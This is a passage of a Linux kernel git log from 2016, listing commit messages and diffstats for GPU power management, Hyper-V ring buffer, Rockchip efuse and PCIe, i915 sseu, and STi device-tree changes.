drivers/gpu/drm/amd/powerplay/inc/power_state.h | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) commit 662bfa61fff1de4dd96029d556d7b301e27c3556 Author: Christian König Date: Thu Sep 1 12:13:18 2016 +0200 drm/amdgpu: prevent command submission failures under memory pressure v2 As last resort try to evict BOs from the current working set into other memory domains. This effectively prevents command submission failures when VM page tables have been swapped out. v2: fix typos Signed-off-by: Christian König Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu.h | 1 + drivers/gpu/drm/amd/amdgpu/amdgpu_cs.c | 63 +++++++++++++++++++++++++++++++++- 2 files changed, 63 insertions(+), 1 deletion(-) commit 1abdc3d73dd9dc2f3dc619d466d378e70cbcc24a Author: Christian König Date: Wed Aug 31 17:28:11 2016 +0200 drm/amdgpu: only try again if we actually run into -ENOMEM All other errors can't be fixed by using a different memory domain. Signed-off-by: Christian König Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_cs.c | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) commit 75b34800a228b5cadc7196485fa0fdabfb9e7684 Author: Maharaja Kennadyrajan Date: Thu Aug 4 19:21:51 2016 +0530 ath10k: hide kernel addresses from logs using %pK format specifier With the %pK format specifier we hide the kernel addresses with the help of kptr_restrict sysctl. In this patch, %p is changed to %pK in the driver code. The sysctl is documented in Documentation/sysctl/kernel.txt. Signed-off-by: Maharaja Kennadyrajan Signed-off-by: Kalle Valo drivers/net/wireless/ath/ath10k/ahb.c | 2 +- drivers/net/wireless/ath/ath10k/bmi.c | 4 ++-- drivers/net/wireless/ath/ath10k/ce.c | 4 ++-- drivers/net/wireless/ath/ath10k/core.c | 4 ++-- drivers/net/wireless/ath/ath10k/htc.c | 6 +++--- drivers/net/wireless/ath/ath10k/htt_rx.c | 2 +- drivers/net/wireless/ath/ath10k/mac.c | 20 ++++++++++---------- drivers/net/wireless/ath/ath10k/pci.c | 2 +- drivers/net/wireless/ath/ath10k/testmode.c | 4 ++-- drivers/net/wireless/ath/ath10k/txrx.c | 2 +- drivers/net/wireless/ath/ath10k/wmi.c | 4 ++-- 11 files changed, 27 insertions(+), 27 deletions(-) commit 02baff325462cc7e81241b21959c5e62e7ca575e Author: Finley Xiao Date: Fri Sep 2 10:14:27 2016 +0100 nvmem: rockchip-efuse: add rk3399-efuse support 1) the efuse timing of rk3399 is different from earlier SoCs. 2) rk3399-efuse is organized as 32bits by 32 one-time programmable electrical fuses, the efuse of earlier SoCs is organized as 32bits by 8 one-time programmable electrical fuses with random access interface. This patch adds a new read function for rk3399-efuse. Signed-off-by: Finley Xiao Reviewed-by: Heiko Stuebner Reviewed-by: Douglas Anderson Signed-off-by: Srinivas Kandagatla Signed-off-by: Greg Kroah-Hartman drivers/nvmem/rockchip-efuse.c | 133 +++++++++++++++++++++++++++++++++++------ 1 file changed, 114 insertions(+), 19 deletions(-) commit b3149f4e333eb629e0c4c100f337edb0b37cdb79 Author: Finley Xiao Date: Fri Sep 2 10:14:26 2016 +0100 nvmem: rockchip-efuse: update compatible strings for Rockchip efuse Rk3399-efuse is organized as 32bits by 32 one-time programmable electrical fuses. The efuse of earlier SoCs are organized as 32bits by 8 one-time programmable electrical fuses with random access interface. Add different device tree compatible string for different SoCs to be able to differentiate between the two. The old binding is of course preserved, though deprecated. Signed-off-by: Finley Xiao Reviewed-by: Heiko Stuebner Reviewed-by: Douglas Anderson Signed-off-by: Srinivas Kandagatla Signed-off-by: Greg Kroah-Hartman Documentation/devicetree/bindings/nvmem/rockchip-efuse.txt | 13 +++++++++++-- 1 file changed, 11 insertions(+), 2 deletions(-) commit db886e4d24c2b3d334be2cc1bd1bd05d547eb4c4 Author: Alex Ng Date: Fri Sep 2 05:58:25 2016 -0700 Drivers: hv: utils: Check VSS daemon is listening before a hot backup Hyper-V host will send a VSS_OP_HOT_BACKUP request to check if guest is ready for a live backup/snapshot. The driver should respond to the check only if the daemon is running and listening to requests. This allows the host to fallback to standard snapshots in case the VSS daemon is not running. Signed-off-by: Alex Ng Signed-off-by: K. Y. Srinivasan Signed-off-by: Greg Kroah-Hartman drivers/hv/hv_snapshot.c | 9 ++++++--- tools/hv/hv_vss_daemon.c | 3 +++ 2 files changed, 9 insertions(+), 3 deletions(-) commit 497af84b81b98b27e9ba7aebb8a373412e328497 Author: Alex Ng Date: Fri Sep 2 05:58:24 2016 -0700 Drivers: hv: utils: Continue to poll VSS channel after handling requests. Multiple VSS_OP_HOT_BACKUP requests may arrive in quick succession, even though the host only signals once. The driver wass handling the first request while ignoring the others in the ring buffer. We should poll the VSS channel after handling a request to continue processing other requests. Signed-off-by: Alex Ng Signed-off-by: K. Y. Srinivasan Signed-off-by: Greg Kroah-Hartman drivers/hv/hv_snapshot.c | 90 +++++++++++++++++++++++------------------------- 1 file changed, 43 insertions(+), 47 deletions(-) commit 509879bdb30b8e12bd0b3cb0bc8429f01478df4b Author: K. Y. Srinivasan Date: Fri Sep 2 05:58:23 2016 -0700 Drivers: hv: Introduce a policy for controlling channel affinity Introduce a mechanism to control how channels will be affinitized. We will support two policies: 1. HV_BALANCED: All performance critical channels will be dstributed evenly amongst all the available NUMA nodes. Once the Node is assigned, we will assign the CPU based on a simple round robin scheme. 2. HV_LOCALIZED: Only the primary channels are distributed across all NUMA nodes. Sub-channels will be in the same NUMA node as the primary channel. This is the current behaviour. The default policy will be the HV_BALANCED as it can minimize the remote memory access on NUMA machines with applications that span NUMA nodes. Signed-off-by: K. Y. Srinivasan Signed-off-by: Greg Kroah-Hartman drivers/hv/channel_mgmt.c | 68 +++++++++++++++++++++++++++-------------------- include/linux/hyperv.h | 23 ++++++++++++++++ 2 files changed, 62 insertions(+), 29 deletions(-) commit bb08d431a914984dee278e0e0482a2e6d620a482 Author: Vitaly Kuznetsov Date: Fri Sep 2 05:58:22 2016 -0700 Drivers: hv: ring_buffer: count on wrap around mappings in get_next_pkt_raw() With wrap around mappings in place we can always provide drivers with direct links to packets on the ring buffer, even when they wrap around. Do the required updates to get_next_pkt_raw()/put_pkt_raw() Signed-off-by: Vitaly Kuznetsov Signed-off-by: K. Y. Srinivasan Tested-by: Dexuan Cui Signed-off-by: Greg Kroah-Hartman include/linux/hyperv.h | 32 +++++++++++--------------------- 1 file changed, 11 insertions(+), 21 deletions(-) commit f24f0b495b17df33c03f3b758b1461385e9f0e50 Author: Vitaly Kuznetsov Date: Fri Sep 2 05:58:21 2016 -0700 Drivers: hv: ring_buffer: use wrap around mappings in hv_copy{from, to}_ringbuffer() With wrap around mappings for ring buffers we can always use a single memcpy() to do the job. Signed-off-by: Vitaly Kuznetsov Signed-off-by: K. Y. Srinivasan Tested-by: Dexuan Cui Signed-off-by: Greg Kroah-Hartman drivers/hv/ring_buffer.c | 24 +++--------------------- 1 file changed, 3 insertions(+), 21 deletions(-) commit 9988ce685676cebe0b14dc128f00e1ae9cd1a4fa Author: Vitaly Kuznetsov Date: Fri Sep 2 05:58:20 2016 -0700 Drivers: hv: ring_buffer: wrap around mappings for ring buffers Make it possible to always use a single memcpy() or to provide a direct link to a packet on the ring buffer by creating virtual mapping for two copies of the ring buffer with vmap(). Utilize currently empty hv_ringbuffer_cleanup() to do the unmap. While on it, replace sizeof(struct hv_ring_buffer) check in hv_ringbuffer_init() with BUILD_BUG_ON() as it is a compile time check. Signed-off-by: Vitaly Kuznetsov Tested-by: Dexuan Cui Signed-off-by: K. Y. Srinivasan Signed-off-by: Greg Kroah-Hartman drivers/hv/channel.c | 29 ++++++++++++++--------------- drivers/hv/hyperv_vmbus.h | 4 ++-- drivers/hv/ring_buffer.c | 39 +++++++++++++++++++++++++++++++++------ 3 files changed, 49 insertions(+), 23 deletions(-) commit 98f531b10d23e3c28e8d34c0e88822a81231b3c2 Author: Vitaly Kuznetsov Date: Fri Sep 2 05:58:19 2016 -0700 Drivers: hv: cleanup vmbus_open() for wrap around mappings In preparation for doing wrap around mappings for ring buffers cleanup vmbus_open() function: - check that ring sizes are PAGE_SIZE aligned (they are for all in-kernel drivers now); - kfree(open_info) on error only after we kzalloc() it (not an issue as it is valid to call kfree(NULL); - rename poorly named labels; - use alloc_pages() instead of __get_free_pages() as we need struct page pointer for future. Signed-off-by: Vitaly Kuznetsov Tested-by: Dexuan Cui Signed-off-by: K. Y. Srinivasan Signed-off-by: Greg Kroah-Hartman drivers/hv/channel.c | 41 ++++++++++++++++++++++------------------- 1 file changed, 22 insertions(+), 19 deletions(-) commit b7ee3b2742f34d9b8404f35ad008361a2d234990 Author: Finley Xiao Date: Thu Sep 1 20:16:56 2016 -0700 arm64: dts: rockchip: add efuse0 device node for rk3399 Add a efuse0 node in the device tree for the ARM64 rk3399 SoC. Signed-off-by: Finley Xiao Reviewed-by: Douglas Anderson Signed-off-by: Heiko Stuebner arch/arm64/boot/dts/rockchip/rk3399.dtsi | 29 +++++++++++++++++++++++++++++ 1 file changed, 29 insertions(+) commit 64ed5771aca2fcfb8ea440fc679741054011fd7e Author: Tamizh chelvam Date: Tue Aug 2 16:13:14 2016 +0530 ath10k: Add WMI_SERVICE_PERIODIC_CHAN_STAT_SUPPORT wmi service WMI_SERVICE_PERIODIC_CHAN_STAT_SUPPORT service has missed in the commit 7e247a9e88dc ("ath10k: add dynamic tx mode switch config support for qca4019"). This patch adds the service to avoid mismatch between host and target. Fixes: 7e247a9e88dc ("ath10k: add dynamic tx mode switch config support for qca4019") Signed-off-by: Tamizh chelvam Signed-off-by: Kalle Valo drivers/net/wireless/ath/ath10k/wmi.h | 5 +++++ 1 file changed, 5 insertions(+) commit 795b38b3928d0ad5a6b2a530b30916cc76f4b667 Author: Imre Deak Date: Wed Aug 31 19:13:07 2016 +0300 drm/i915/bdw: sseu: Fix sseu status parsing Currently when checking for fused off EUs we may ignore the EU count in an enabled slice if there is any disabled slice preceding the enabled one (with a lower slice ID). Perhaps this can't happen in reality, but there is no reason to have this assumption built-in, the code is clearer without it. Reviewed-by: Robert Bragg Reviewed-by: Ben Widawsky Tested-by: Ben Widawsky Signed-off-by: Imre Deak Link: http://patchwork.freedesktop.org/patch/msgid/1472659987-10417-8-git-send-email-imre.deak@intel.com drivers/gpu/drm/i915/i915_debugfs.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit c67ba538753438a303c7522d6b2912863547e27c Author: Imre Deak Date: Wed Aug 31 19:13:06 2016 +0300 drm/i915: sseu: Add debug printf for slice/subslice masks Reviewed-by: Robert Bragg Reviewed-by: Ben Widawsky Tested-by: Ben Widawsky Signed-off-by: Imre Deak Link: http://patchwork.freedesktop.org/patch/msgid/1472659987-10417-7-git-send-email-imre.deak@intel.com drivers/gpu/drm/i915/i915_debugfs.c | 4 ++++ drivers/gpu/drm/i915/intel_device_info.c | 2 ++ 2 files changed, 6 insertions(+) commit 57ec171eae21ee0a2848ade1cb7f8f12a31b0731 Author: Imre Deak Date: Wed Aug 31 19:13:05 2016 +0300 drm/i915: sseu: Convert subslice count fields to subslice mask In an upcoming patch we'll need the actual mask of subslices in addition to their count, so convert the subslice_per_slice field to a mask. Also we can easily calculate subslice_total from the other fields, so instead of storing a cached version of this, add a helper to calculate it. v2: - Use hweight8() on u8 typed vars instead of hweight32(). (Ben) Reviewed-by: Robert Bragg (v1) Reviewed-by: Ben Widawsky (v1) Tested-by: Ben Widawsky (v1) Signed-off-by: Imre Deak drivers/gpu/drm/i915/i915_debugfs.c | 37 +++++++---------- drivers/gpu/drm/i915/i915_drv.c | 2 +- drivers/gpu/drm/i915/i915_drv.h | 8 +++- drivers/gpu/drm/i915/intel_device_info.c | 69 +++++++++++++++----------------- drivers/gpu/drm/i915/intel_lrc.c | 2 +- 5 files changed, 55 insertions(+), 63 deletions(-) commit f08a0c9234c86cf0249a5edd58a7abf69617f29f Author: Imre Deak Date: Wed Aug 31 19:13:04 2016 +0300 drm/i915: sseu: Convert slice count field to mask In an upcoming patch we'll need the actual mask of slices in addition to their count, so replace the count field with a mask. v2: - Use hweight8() on u8 typed vars instead of hweight32(). (Ben) Reviewed-by: Robert Bragg (v1) Reviewed-by: Ben Widawsky (v1) Tested-by: Ben Widawsky (v1) Signed-off-by: Imre Deak Link: http://patchwork.freedesktop.org/patch/msgid/1472659987-10417-5-git-send-email-imre.deak@intel.com drivers/gpu/drm/i915/i915_debugfs.c | 14 +++++++------- drivers/gpu/drm/i915/i915_drv.h | 2 +- drivers/gpu/drm/i915/intel_device_info.c | 29 ++++++++++++++--------------- drivers/gpu/drm/i915/intel_lrc.c | 2 +- 4 files changed, 23 insertions(+), 24 deletions(-) commit 615d8908ac9c723d8666bde44a7acc85af0baace Author: Imre Deak Date: Wed Aug 31 19:13:03 2016 +0300 drm/i915: sseu: Simplify debugfs status/info printing Reviewed-by: Robert Bragg Reviewed-by: Ben Widawsky Tested-by: Ben Widawsky Signed-off-by: Imre Deak Link: http://patchwork.freedesktop.org/patch/msgid/1472659987-10417-4-git-send-email-imre.deak@intel.com drivers/gpu/drm/i915/i915_debugfs.c | 64 ++++++++++++++++++++----------------- 1 file changed, 34 insertions(+), 30 deletions(-) commit 9eb4f3c45027d086a4953e78db6566c36953b9f7 Author: Shawn Lin Date: Fri Aug 19 11:24:29 2016 +0800 arm64: dts: rockchip: configure PCIe support for rk3399-evb Let's assigne slot numbers, ep-gpios and clkreq used by PCIe on evb board as well the PHY node here. Note that we still disable them as the auto training of PCIe link will make the kernel use more time to boot if there are no any devices there. Signed-off-by: Shawn Lin Signed-off-by: Heiko Stuebner arch/arm64/boot/dts/rockchip/rk3399-evb.dts | 12 ++++++++++++ 1 file changed, 12 insertions(+) commit 43b6799814ca1f29ba35a712c59cbef293573d53 Author: Imre Deak Date: Wed Aug 31 19:13:02 2016 +0300 drm/i915: sseu: Use sseu_dev_info in device info Move all slice/subslice/eu related properties to the sseu_dev_info struct. No functional change. v2: - s/info/sseu/ based on the new struct name. (Ben) Reviewed-by: Robert Bragg (v1) Reviewed-by: Ben Widawsky (v1) Tested-by: Ben Widawsky (v1) Signed-off-by: Imre Deak drivers/gpu/drm/i915/i915_debugfs.c | 29 +++++---- drivers/gpu/drm/i915/i915_drv.c | 6 +- drivers/gpu/drm/i915/i915_drv.h | 18 +++--- drivers/gpu/drm/i915/intel_device_info.c | 102 ++++++++++++++++--------------- drivers/gpu/drm/i915/intel_lrc.c | 14 ++--- drivers/gpu/drm/i915/intel_pm.c | 2 +- drivers/gpu/drm/i915/intel_ringbuffer.c | 4 +- 7 files changed, 88 insertions(+), 87 deletions(-) commit 85aaa57459524165fc491fcbc334e7bbdb6b2433 Author: Shawn Lin Date: Fri Aug 19 11:24:28 2016 +0800 arm64: dts: rockchip: add the PCIe controller support for RK3399 This patch introduces PCIe support found on RK3399 platform, and specify phys phandle for it. Signed-off-by: Shawn Lin Signed-off-by: Heiko Stuebner arch/arm64/boot/dts/rockchip/rk3399.dtsi | 52 ++++++++++++++++++++++++++++++++ 1 file changed, 52 insertions(+) commit 29a0be1c9e6e97d35a6e5c170ada121d76d8cbcd Author: Shawn Lin Date: Fri Aug 19 11:24:27 2016 +0800 arm64: dts: rockchip: add the PCIe PHY for RK3399 This patch adds PCIe node for RK3399 to support PCIe controller. Signed-off-by: Shawn Lin Signed-off-by: Heiko Stuebner arch/arm64/boot/dts/rockchip/rk3399.dtsi | 10 ++++++++++ 1 file changed, 10 insertions(+) commit 915490d5f1cc10663f9a58240e44b84c0f33728f Author: Imre Deak Date: Wed Aug 31 19:13:01 2016 +0300 drm/i915: sseu: Move sseu_dev_status to i915_drv.h The data in this struct is provided both by getting the slice/subslice/eu features available on a given platform and the actual runtime state of these same features which depends on the HW's current power saving state. Atm members of this struct are duplicated in sseu_dev_status and intel_device_info. For clarity and code reuse we can share one struct for both of the above purposes. This patch only moves the struct to the header file, the next patch will convert users of intel_device_info to use this struct too. Instead of unsigned int u8 is used now, which is big enough and is used anyway in intel_device_info. No functional change. v2: - s/stat/sseu/ based on the new struct name (Ben) Reviewed-by: Robert Bragg (v1) Reviewed-by: Ben Widawsky (v1) Tested-by: Ben Widawsky (v1) Signed-off-by: Imre Deak Link: http://patchwork.freedesktop.org/patch/msgid/1472659987-10417-2-git-send-email-imre.deak@intel.com drivers/gpu/drm/i915/i915_debugfs.c | 79 +++++++++++++++++-------------------- drivers/gpu/drm/i915/i915_drv.h | 8 ++++ 2 files changed, 45 insertions(+), 42 deletions(-) commit a801abe4773dadcea4be4dc0affcc3a22d41543c Author: Alex Deucher Date: Mon Aug 22 14:29:44 2016 -0400 drm/radeon: wire up a pci shutdown callback Normally on shutdown or reboot we don't care about necessarily making sure the hw is in a good state because the system is about to be powered down or reset. However, after a shutdown or reboot in a VM, it's best to tear down the hw properly otherwise there can be problems with the next VM use. Reviewed-by: Christian König Reviewed-by: Edward O'Callaghan Signed-off-by: Alex Deucher drivers/gpu/drm/radeon/radeon_device.c | 2 +- drivers/gpu/drm/radeon/radeon_drv.c | 13 +++++++++++++ 2 files changed, 14 insertions(+), 1 deletion(-) commit 61e113067b636fe73d5d0ac877bcfcebe7cfd034 Author: Alex Deucher Date: Mon Aug 22 13:50:22 2016 -0400 drm/amdgpu: wire up a pci shutdown callback Normally on shutdown or reboot we don't care about necessarily making sure the hw is in a good state because the system is about to be powered down or reset. However, after a shutdown or reboot in a VM, it's best to tear down the hw properly otherwise there can be problems with the next VM use. Reviewed-by: Christian König Reviewed-by: Edward O'Callaghan Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_drv.c | 14 ++++++++++++++ 1 file changed, 14 insertions(+) commit 9b96b63fed542598054dbf249360d413f7bd6059 Author: Alex Deucher Date: Wed Aug 31 17:23:31 2016 -0400 drm/radeon: handle runtime pm in drm pre/post close Close was not handled correctly. Reviewed-by: Michel Dänzer Signed-off-by: Alex Deucher drivers/gpu/drm/radeon/radeon_kms.c | 4 ++++ 1 file changed, 4 insertions(+) commit d6bda7b4b4997f1062844dbc8b47708d244c10be Author: Alex Deucher Date: Sat Aug 27 12:27:24 2016 -0400 drm/amdgpu: handle runtime pm in drm pre/post close Close was not handled correctly. Reviewed-by: Michel Dänzer Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_kms.c | 4 ++++ 1 file changed, 4 insertions(+) commit 32c59dc14b72803f20742e5b6e515d39e90dbb83 Author: Alex Deucher Date: Wed Aug 31 17:27:03 2016 -0400 drm/radeon: handle runtime pm correctly in amdgpu_driver_open_kms Need to fix the error paths. Reviewed-by: Michel Dänzer Signed-off-by: Alex Deucher drivers/gpu/drm/radeon/radeon_kms.c | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) commit dc08267ac4ee7d4b602dd0ac000114e4426e2769 Author: Alex Deucher Date: Sat Aug 27 12:30:25 2016 -0400 drm/amdgpu: handle runtime pm correctly in amdgpu_driver_open_kms Need to fix the error paths. Reviewed-by: Michel Dänzer Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_kms.c | 17 +++++++++-------- 1 file changed, 9 insertions(+), 8 deletions(-) commit 5e0b1617fc38a27cf494c5d0b51f08de77ce0d20 Author: Alex Deucher Date: Wed Aug 31 17:31:30 2016 -0400 drm/radeon: skip suspend/resume on DRM_SWITCH_POWER_DYNAMIC_OFF Missed this case previously. No need to do anything if the device is already off. runtime pm will handle it. Acked-by: Michel Dänzer Signed-off-by: Alex Deucher drivers/gpu/drm/radeon/radeon_device.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 103917b387ba9b72114d494fb29e012f51b4be3e Author: Alex Deucher Date: Wed Aug 31 17:34:23 2016 -0400 drm/radeon: set runtime pm state to active on resume The sbios always powers up the dGPU on resume. Acked-by: Michel Dänzer Signed-off-by: Alex Deucher drivers/gpu/drm/radeon/radeon_drv.c | 8 ++++++++ 1 file changed, 8 insertions(+) commit f46cf3735f4c05eb752d020d34ace1c85ccf567c Author: Alex Deucher Date: Sat Aug 27 12:57:20 2016 -0400 drm/amdgpu: skip suspend/resume on DRM_SWITCH_POWER_DYNAMIC_OFF Missed this case previously. No need to do anything if the device is already off. runtime pm will handle it. Acked-by: Michel Dänzer Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_device.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 85e154c22e3c29d4db52ccc1c1cc58a2cadc103b Author: Alex Deucher Date: Sat Aug 27 14:53:08 2016 -0400 drm/amdgpu: set runtime pm state to active on resume The sbios always powers up the dGPU on resume. Acked-by: Michel Dänzer Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_drv.c | 8 ++++++++ 1 file changed, 8 insertions(+) commit e6c71b48c9713c5581e9ac6dcb469db176468120 Author: Alex Deucher Date: Thu Sep 1 14:10:46 2016 -0400 drm/amdgpu/gfx6: drop some dead code The mqd is only used on CI and newer. Reviewed-by: Edward O'Callaghan Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/gfx_v6_0.c | 23 ----------------------- 1 file changed, 23 deletions(-) commit 1d9b736303f0363c004977d9258d2ee5a2985dc6 Author: Linus Walleij Date: Wed Aug 10 10:52:12 2016 +0200 ARM: defconfig: update the Integrator defconfig The Integrators defconfig have changed due to changes in Kconfig for the CPU types, they use the physmap OF NOR driver and syscon for LEDs. Signed-off-by: Linus Walleij Signed-off-by: Arnd Bergmann arch/arm/configs/integrator_defconfig | 13 +++---------- 1 file changed, 3 insertions(+), 10 deletions(-) commit ba5ba11906d5462993f5fd4e3da4d234505427a0 Author: Patrice Chotard Date: Wed Aug 10 15:13:00 2016 +0200 ARM: dts: STiH41x-b2020: Update gpio specifier - Remove useless gpio-cells - Update second parameter by using GPIO_ACTIVE_HIGH/LOW instead of hardcoded value Signed-off-by: Patrice Chotard Acked-by: Linus Walleij arch/arm/boot/dts/stih41x-b2020.dtsi | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit c3ee7e9d136d789bf33aa1e6c07b40d7a9721ec0 Author: Patrice Chotard Date: Wed Aug 10 15:13:00 2016 +0200 ARM: dts: STiH418-B2199: Update gpio specifier - Remove useless gpio-cells - Update second parameter by using GPIO_ACTIVE_HIGH/LOW instead of hardcoded value Signed-off-by: Patrice Chotard Acked-by: Linus Walleij arch/arm/boot/dts/stih418-b2199.dts | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) commit 4e6ee33684eb6eaa124230c92d35f2988cb98bc4 Author: Patrice Chotard Date: Wed Aug 10 15:12:00 2016 +0200 ARM: dts: STiH407-pinctrl: Update gpio-cells to 2 This patch allows to use second parameter to the gpio specifier, which is used to specify whether the gpio is active high or low. Signed-off-by: Patrice Chotard Acked-by: Linus Walleij arch/arm/boot/dts/stih407-pinctrl.dtsi | 52 +++++++++++++++++----------------- 1 file changed, 26 insertions(+), 26 deletions(-) commit 76c1c9cf3659057fabbe8a18e04a2121c5d3b433 Author: Patrice Chotard Date: Mon Aug 15 14:17:00 2016 +0200 ARM: dts: STi: Introduce B2260 board B2260 board is the STMicroelectronics 96Board based on STiH410 soc : - 1GB DDR - On-Board USB combo WiFi/Bluetooth RTL8723BU with PCB soldered antenna - Ethernet 1000-BaseT - Sata - HDMI - 2 x USB2 type A - micro USB2 type AB - SD card slot - High speed connector (SD/I2C/USB interfaces) - Slow speed connector (UART/I2C/GPIO/SPI/PCM interfaces) Signed-off-by: Patrice Chotard Signed-off-by: Lee Jones Reviewed-by: Peter Griffin arch/arm/boot/dts/Makefile | 1 + arch/arm/boot/dts/stih410-b2260.dts | 190 ++++++++++++++++++++++++++++++++++++ 2 files changed, 191 insertions(+) commit ecb8af45906526f019e88a1de3b1052f13cc7951 Author: Patrice Chotard Date: Mon Aug 15 14:17:00 2016 +0200 ARM: dts: STiH407-family: Add ports-implemented property in sata nodes Despite ST AHCI version = 1.3, reading HOST_PORTS_IMPL returns 0. So force HOST_PORTS_IMPL to 1 by using ports-implemented DT property. Signed-off-by: Patrice Chotard Signed-off-by: Lee Jones Reviewed-by: Peter Griffin arch/arm/boot/dts/stih407-family.dtsi | 4 ++++ 1 file changed, 4 insertions(+) commit c3df8e211eae7c1ecc7cc7eefa23f7901bfbdd89 Author: Patrice Chotard Date: Mon Aug 15 14:17:00 2016 +0200 ARM: dts: STiH407-pinctrl: Add pinctrl_rgmii1_mdio_1 node On 96board, we can't reuse rgmii1-mdio as the pin pio1 3 ( mdint ) is dedicated for user led green 1. So create rgmii1_mdio_1 for 96board on which only mdio and mdc pins are useful. Signed-off-by: Patrice Chotard Signed-off-by: Lee Jones Reviewed-by: Peter Griffin arch/arm/boot/dts/stih407-pinctrl.dtsi | 7 +++++++ 1 file changed, 7 insertions(+) commit 8f416dcd2c06580b12db3ba3f8379350660f2ddf Author: Patrice Chotard Date: Mon Aug 15 14:17:00 2016 +0200 ARM: dts: STiH407: Move non-removable property to board file Due to 96board which uses mmc0 node for SD card, the non-removable property must be moved from STiH407-family to board file for B2120 and B2199 boards. Signed-off-by: Patrice Chotard Signed-off-by: Lee Jones Reviewed-by: Peter Griffin arch/arm/boot/dts/stih407-family.dtsi | 1 - arch/arm/boot/dts/stih418-b2199.dts | 1 + arch/arm/boot/dts/stihxxx-b2120.dtsi | 1 + 3 files changed, 2 insertions(+), 1 deletion(-) commit d5f102edde54e089b0de0faf40a7f6fb2619b0f1 Author: Patrice Chotard Date: Mon Aug 15 14:17:00 2016 +0200 ARM: dts: STiH407-pinctrl: Add i2c2_alt2_1 node Add missing pin muxing for I2C2 alternate 2. This i2c2 pin muxing is dedicated for 96board high speed expansion connector. Signed-off-by: Patrice Chotard [Lee: Correct spacing between nodes] Signed-off-by: Lee Jones Reviewed-by: Peter Griffin arch/arm/boot/dts/stih407-pinctrl.dtsi | 7 +++++++ 1 file changed, 7 insertions(+) commit 70bc0f3a904dac95becce94e28ed6b132c39febb Author: Patrice Chotard Date: Mon Aug 15 14:17:00 2016 +0200 ARM: dts: STiH410: Add thermal node Signed-off-by: Patrice Chotard [Lee: Changed node name and added the unit address] Signed-off-by: Lee Jones Reviewed-by: Peter Griffin arch/arm/boot/dts/stih410.dtsi | 8 ++++++++ 1 file changed, 8 insertions(+) commit 3b879a5008660f1401a5fc7add9c45fa4c5efdec Author: Patrice Chotard Date: Mon Aug 15 14:17:00 2016 +0200 ARM: dts: STiH407: Move pio20 node to fix kernel warning cat /sys/kernel/debug/pinctrl/921f080.pin-controller-front1/pingroups leads to the kernel warning: [ 86.083560] st-pinctrl 921f080.pin-controller-front1: failed to get pin(-517) name [ 86.091192] ------------[ cut here ]------------ [ 86.095897] WARNING: CPU: 0 PID: 1579 at drivers/pinctrl/core.c:1414 pinctrl_groups_show+0x144/0x16c [ 86.105072] Modules linked in: [ 86.108127] CPU: 0 PID: 1579 Comm: cat Tainted: G W 4.6.0-00011-g9ba82e2-dirty #5 [ 86.116728] Hardware name: STiH415/416 SoC with Flattened Device Tree [ 86.123194] [] (unwind_backtrace) from [] (show_stack+0x10/0x14) [ 86.130943] [] (show_stack) from [] (dump_stack+0x98/0xac) [ 86.138167] [] (dump_stack) from [] (__warn+0xe8/0x100) [ 86.145121] [] (__warn) from [] (warn_slowpath_null+0x20/0x28) [ 86.152681] [] (warn_slowpath_null) from [] (pinctrl_groups_show+0x144/0x16c) [ 86.161550] [] (pinctrl_groups_show) from [] (seq_read+0x1ec/0x4c0) [ 86.169553] [] (seq_read) from [] (__vfs_read+0x20/0xd0) [ 86.176592] [] (__vfs_read) from [] (vfs_read+0x7c/0x104) [ 86.183716] [] (vfs_read) from [] (SyS_read+0x44/0x9c) [ 86.190585] [] (SyS_read) from [] (ret_fast_syscall+0x0/0x3c) [ 86.198158] ---[ end trace 1aa2e3ae820eeb3e ]--- Move the pincontroller pio20 node above the tsin4 node, which referred to it, fix this warning. Signed-off-by: Patrice Chotard Signed-off-by: Lee Jones Reviewed-by: Peter Griffin arch/arm/boot/dts/stih407-pinctrl.dtsi | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) commit 2c507e464f791327c94d17a0137f00b4717744fc Author: Bhaktipriya Shridhar Date: Tue Aug 30 22:45:34 2016 +0530 device core: Remove deprecated create_singlethread_workqueue The workqueue "deferred_wq" queues a single work item &deferred_probe_work and hence doesn't require ordering. It is involved in probing devices and is not being used on a memory reclaim path. Hence, it has been converted to use system_wq. System workqueues have been able to handle high level of concurrency for a long time now and hence it's not required to have a singlethreaded workqueue just to gain concurrency. Unlike a dedicated per-cpu workqueue created with create_singlethread_workqueue(), system_wq allows multiple work items to overlap executions even on the same CPU; however, a per-cpu workqueue doesn't have any CPU locality or global ordering guarantee unless the target CPU is explicitly specified and thus the increase of local concurrency shouldn't make any difference. The work item has been flushed in driver_probe_done() to ensure that there are no pending tasks while disconnecting the driver. Signed-off-by: Bhaktipriya Shridhar Acked-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman drivers/base/dd.c | 12 +++--------- 1 file changed, 3 insertions(+), 9 deletions(-) commit d2f5a7311bcaed681a41cb3419b8fe92a7b68bf5 Author: Andy Shevchenko Date: Tue Aug 23 16:09:40 2016 +0300 dmaengine: hsu: refactor hsu_dma_do_irq() to return int Since we have nice macro IRQ_RETVAL() we would use it to convert a flag of handled interrupt from int to irqreturn_t. The rationale of doing this is: a) hence we implicitly mark hsu_dma_do_irq() as an auxiliary function that can't be used as interrupt handler directly, and b) to be in align with serial driver which is using serial8250_handle_irq() that returns plain int by design. Signed-off-by: Andy Shevchenko Signed-off-by: Greg Kroah-Hartman drivers/dma/hsu/hsu.c | 9 ++++----- drivers/dma/hsu/pci.c | 6 +++--- drivers/tty/serial/8250/8250_mid.c | 8 ++++---- include/linux/dma/hsu.h 